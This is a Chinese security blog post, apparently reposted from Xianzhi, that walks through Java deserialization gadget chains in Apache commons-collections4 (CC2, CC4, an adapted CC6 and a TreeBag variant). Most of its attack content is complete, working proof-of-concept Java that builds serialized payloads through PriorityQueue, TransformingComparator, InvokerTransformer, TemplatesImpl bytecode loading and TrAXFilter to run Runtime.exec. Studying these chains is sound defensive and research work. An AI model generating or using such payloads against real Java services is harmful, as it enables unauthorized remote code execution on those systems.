Java安全中commons-collections4包下的两条反序列化链

admin 2023年5月14日23:37:56评论23 views字数 13269阅读44分13秒阅读模式

现在只对常读和星标的公众号才展示大图推送,建议大家把「CKCsec安全研究院」设为星标,否则可能就看不到了啦!

文章转自先知社区:https://xz.aliyun.com/t/12143作者:LeeH

前言

CC2和CC4都是基于org.apache.commons:commons-collections4上的反序列化链子

以前的POC修改

在这个版本中,cc包上面的LazyMap类的decorate方法没有了,但是也只是把decorate换成了lazyMap

Java安全中commons-collections4包下的两条反序列化链

尝试将CC6链的POC中的decorate方法换成lazyMap方法

package ysoserial.vulndemo;

/**
* 暂时对JDK没有限制,在高版本的JDK中也可以成功利用
*/

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6_POC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//仿照ysoserial中的写法,防止在本地调试的时候触发命令
Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outMap = LazyMap.lazyMap(innerMap, transformerChain);

//实例化
TiedMapEntry tme = new TiedMapEntry(outMap, "key");
Map expMap = new HashMap();
//将其作为key键传入
expMap.put(tme, "value");

//remove
outMap.remove("key");

//传入利用链
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

byte[] bytes = barr.toByteArray();
String encode =Base64.getEncoder().encodeToString(bytes);
//输出序列化字符串
System.out.println(encode);

//反序列化
byte[] decode = Base64.getDecoder().decode(encode);
System.out.println(decode);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
Object o = ois.readObject();
}
}
Java安全中commons-collections4包下的两条反序列化链

成功弹出了计算器,说明以前的链子在CC4.0版本中稍微修改一下就可以使用了,(其他链子自己可以试试,我没试过)

CC2链子

PriorityQueue

这个类就是这条链子的入口位置,对比CC4.0版本的包和以前的版本包,这个类在之前没有实现Serializable接口,不能进行序列化,但是在CC4.0版本包中,实现了这个接口,可以进行序列化

PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。

java.util.PriorityQueue#readObject方法中

Java安全中commons-collections4包下的两条反序列化链

将他的所有元素反序列化到queue中,调用了heapify方法,跟进一下

Java安全中commons-collections4包下的两条反序列化链

这里需要size右移一位之后减去一个1之后需要满足大于等于0才会调用siftDown方法

size的初始值为0,所以我们最少需要添加2个元素才能满足条件

Java安全中commons-collections4包下的两条反序列化链

好的,接下来进入siftDown方法

Java安全中commons-collections4包下的两条反序列化链

comparator不为null的时候调用siftDownUsingComparator

Java安全中commons-collections4包下的两条反序列化链

之后会调用comparatorcompare方法进行比较

TransformingComparator

在这个类的compare方法中,就调用了transform方法进行转换

Java安全中commons-collections4包下的两条反序列化链

同样也可以发现他的构造方法

可以传入一个Transformer

POC编写

POC1

既然这里调用了transformer方法,我们就可以使用ChainedTransformer结合InvokerTransformer的方法构造

package ysoserial.vulndemo;

/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2 {
public static void main(String[] args) throws Exception{
//创建 ChainedTransformer实例
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc" }),
};
ChainedTransformer chain = new ChainedTransformer(faketransformers);
//创建TranformingComparator 实例
Comparator comparator = new TransformingComparator(chain);

//创建 PriorityQueue 实例
//readobject 入口
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field field = chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformers);
//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}
Java安全中commons-collections4包下的两条反序列化链

在构造PriorityQueue对象的时候第一个参数是有要求的,跟进一下

Java安全中commons-collections4包下的两条反序列化链

这里的初始容量需要大于等于1才行,不然会爆出IllegalArgumentException错误

POC2

上面使用了数组的方法,如果不能使用数组该怎么办呢,在shiro反序列化中就不能使用数组执行,提到过使用TemplatesImpl.newTransformer的方式执行

ysoserial中的CC2链就是使用的这种方式执行任意命令

package ysoserial.vulndemo;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* PriorityQueue.heapify()
* PriorityQueue.siftDown()
* PriorityQueue.siftDownUsingComparator()
* TransformingComparator.compare()
* InvokerTransformer.transform()
* Method.invoke()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* Runtime.exec()
*
*/

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2_plus {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args)throws Exception {
//创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","jiang");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

//创建TranformingComparator 实例
Transformer transformer = new InvokerTransformer("toString",null,null);
Comparator comparator = new TransformingComparator(transformer);

//创建 PriorityQueue 实例
//readobject 入口
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(obj);
priorityQueue.add(obj);

//修改调用方法为newTransformer,加载恶意类。
setFieldValue(transformer,"iMethodName","newTransformer");

ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}
Java安全中commons-collections4包下的两条反序列化链

通过InvokerTransformer直接调用了动态加载bytecodes的TemplatesImpl类的newTransformer方法,进而调用了transformer,漏洞触发

你会觉得是不是缺少个ConstantTransformer得到对应对象的类型(我反正有过)

其实在TransformingComparator#compare方法中调用transformer的时候将这个类传入了transformer,这步就类似起到了ConstantTransformer的作用,所以这里向PriorityQueue中添加的是TemplatesImpl类

CC4链子

ysoserial中的链子

在ysoserial就是CC3+CC2的结合,它不再使用InvokerTransformer,而是选择InstantiateTransformer来代替

在CC3中存在一个TrAXFilter

Java安全中commons-collections4包下的两条反序列化链

它可以直接传入一个Templates然后直接调用他的newTransformer方法,之后我们使用InstantiateTransformer来进行实例化他触发newTransformer方法

POC

package ysoserial.vulndemo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC4 {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
//创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

//创建 ChainedTransformer实例
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);

//创建TranformingComparator 实例
Comparator comparator = new TransformingComparator(chain);

PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, comparator);

//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}
Java安全中commons-collections4包下的两条反序列化链

TreeBag & TreeMap

Bag 接口继承自 Collection 接口,定义了一个集合,该集合会记录对象在集合中出现的次数。它有一个子接口 SortedBag,定义了一种可以对其唯一不重复成员排序的 Bag 类型。

TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序。

TreeBag 继承自 AbstractMapBag,实现了 SortedBag 接口。初始化 TreeBag 时,会创建一个新的 TreeMap 储存在成员变量 map 里,而排序使用的 Comparator 则直接储存在 TreeMap 中。

跟进org.apache.commons.collections4.bag.TreeBag#readObject方法

Java安全中commons-collections4包下的两条反序列化链
20230211200408-30519762-aa04-1

在反序列化的时候,会将反序列化出来的Comparator对象传入TreeMap进行处理

我们跟进他的构造函数

Java安全中commons-collections4包下的两条反序列化链

可以传入一个Comparator对象,将它传入TreeMap中

Java安全中commons-collections4包下的两条反序列化链

通过这个TreeMap来存储对象

然后回到readObject方法中,接下来将调用父类的doReadObject方法

Java安全中commons-collections4包下的两条反序列化链

调用了TreeMap的put方法,跟进

Java安全中commons-collections4包下的两条反序列化链

这里调用了compare方法进行排序,跟进

Java安全中commons-collections4包下的两条反序列化链

这里同样使用了comparator.compare进行比较,同样我们就可以使用TransformingComparator来触发transformer了

POC

package ysoserial.vulndemo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class CC4_plus {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
//创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

//使用一个无害的InvokerTransformer
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);

TransformingComparator transformingComparator = new TransformingComparator(transformer);
//创建TreeBag对象
TreeBag treeBag = new TreeBag(transformingComparator);
treeBag.add(obj);
//更改调用方法
setFieldValue(transformer, "iMethodName", "newTransformer");

//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(treeBag);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}

使用TemplatesImpl.newTransformer方法触发transformer

Java安全中commons-collections4包下的两条反序列化链


关注公众号

下面就是我们的公众号啦,更新的文章都会在第一时间推送在公众号

72篇原创内容



支持作者

Java安全中commons-collections4包下的两条反序列化链



另:于传播、利用本公众号CKCsec安全研究院所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,CKCsec安全研究院及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


原文始发于微信公众号(CKCsec安全研究院):Java安全中commons-collections4包下的两条反序列化链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月14日23:37:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全中commons-collections4包下的两条反序列化链http://cn-sec.com/archives/1732046.html

发表评论

匿名网友 填写信息